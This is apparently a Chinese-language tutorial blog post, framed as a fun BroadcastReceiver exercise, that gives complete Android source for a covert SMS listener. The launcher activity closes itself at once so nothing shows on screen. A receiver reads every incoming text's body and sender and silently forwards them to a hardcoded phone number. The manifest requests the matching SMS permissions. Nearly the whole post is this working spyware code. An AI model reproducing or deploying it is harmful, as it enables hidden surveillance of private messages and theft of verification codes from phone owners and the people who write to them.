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短信监听器学习
还是关于broadcastreceiver的应用,比较有趣~~~·
1 定义一个activity,并删除布局文件,并写入finish()方法,使其一开始就挂掉~~~~~
package com.djf.smslistener;import android.app.Activity;import android.os.Bundle;import android.view.Menu;import android.view.MenuItem;public class MainActivity extends Activity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); finish(); }}
2 定义一个广播接收者,监听短信的到来并获取短信的内容,同时还可以将短信发给其他人~~~~
package com.djf.smslistener;import android.content.BroadcastReceiver;import android.content.Context;import android.content.Intent;import android.telephony.SmsManager;import android.telephony.SmsMessage;public class SmsBroadCastReceiver extends BroadcastReceiver { @Override public void onReceive(Context context, Intent intent) { // TODO Auto-generated method stub Object[] objects = (Object[]) intent.getExtras().get("pdus"); for (Object object : objects) { // SmsMessage smsMessage = SmsMessage.createFromPdu((byte[]) // object); // String bodyString = smsMessage.getMessageBody(); // String destion = smsMessage.getOriginatingAddress(); SmsMessage smsMessage = android.telephony.SmsMessage .createFromPdu((byte[]) object); String bodyString = smsMessage.getMessageBody(); String destion = smsMessage.getOriginatingAddress(); SmsManager smsManager = SmsManager.getDefault(); smsManager.sendTextMessage("13707620956", null, bodyString+"````"+destion, null, null); } }}
3 注意权限的获取,很重要··············
<?xml version="1.0" encoding="utf-8"?><manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.djf.smslistener" android:versionCode="1" android:versionName="1.0" > <uses-sdk android:minSdkVersion="9" android:targetSdkVersion="17" /> <uses-permission android:name="android.permission.RECEIVE_SMS"/> <uses-permission android:name="android.permission.SEND_SMS"/> <application android:allowBackup="true" android:icon="@drawable/ic_launcher" android:label="@string/app_name" android:theme="@style/AppTheme" > <activity android:name="com.djf.smslistener.MainActivity" android:label="@string/app_name" > <intent-filter> <action android:name="android.intent.action.MAIN" /> <category android:name="android.intent.category.LAUNCHER" /> </intent-filter> </activity> <receiver android:name="com.djf.smslistener.SmsBroadCastReceiver" > <intent-filter> <action android:name="android.provider.Telephony.SMS_RECEIVED" /> </intent-filter> </receiver> </application></manifest>
短信监听器学习
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